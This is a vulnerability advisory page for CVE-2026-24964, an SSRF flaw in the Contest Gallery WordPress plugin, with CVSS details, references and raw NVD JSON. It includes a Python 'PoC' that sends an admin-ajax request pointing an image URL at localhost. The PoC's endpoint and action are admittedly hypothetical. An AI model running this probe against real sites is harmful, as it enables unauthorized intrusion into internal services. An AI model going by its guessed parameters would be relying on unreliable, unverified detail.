CVE-2026-24964

Description

Server-Side Request Forgery (SSRF) vulnerability in Wasiliy Strecker / ContestGallery developer Contest Gallery contest-gallery allows Server Side Request Forgery.This issue affects Contest Gallery: from n/a through <= 28.1.2.1.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Contest Gallery <= 28.1.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_ssrf(target_url):
    """
    Proof of Concept for CVE-2026-24964
    Attempts to trigger SSRF by targeting an internal address.
    """
    # Vulnerable endpoint (hypothetical based on plugin structure)
    endpoint = "/wp-admin/admin-ajax.php"
    full_url = f"{target_url}{endpoint}"
    
    # Malicious payload targeting localhost
    payload = {
        "action": "cg_gallery_upload", # Example action, needs verification
        "image_url": "http://127.0.0.1:80"
    }
    
    try:
        response = requests.post(full_url, data=payload, timeout=10)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check server logs or response for SSRF indicators.")
            print(f"Response length: {len(response.text)}")
        else:
            print(f"[-] Unexpected status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example-wordpress-site.com"
    check_ssrf(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24964
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24964
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24964/
[4] VulDB https://vuldb.com/cve/CVE-2026-24964
[5] https://patchstack.com/database/Wordpress/Plugin/contest-gallery/vulnerability/wordpress-contest-gallery-plugin-28-1-2-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24964", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:38.523", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Wasiliy Strecker / ContestGallery developer Contest Gallery contest-gallery allows Server Side Request Forgery.This issue affects Contest Gallery: from n/a through <= 28.1.2.1."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en Wasiliy Strecker / desarrollador de ContestGallery Contest Gallery contest-gallery permite la falsificación de petición del lado del servidor. Este problema afecta a Contest Gallery: desde n/a hasta <= 28.1.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/contest-gallery/vulnerability/wordpress-contest-gallery-plugin-28-1-2-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}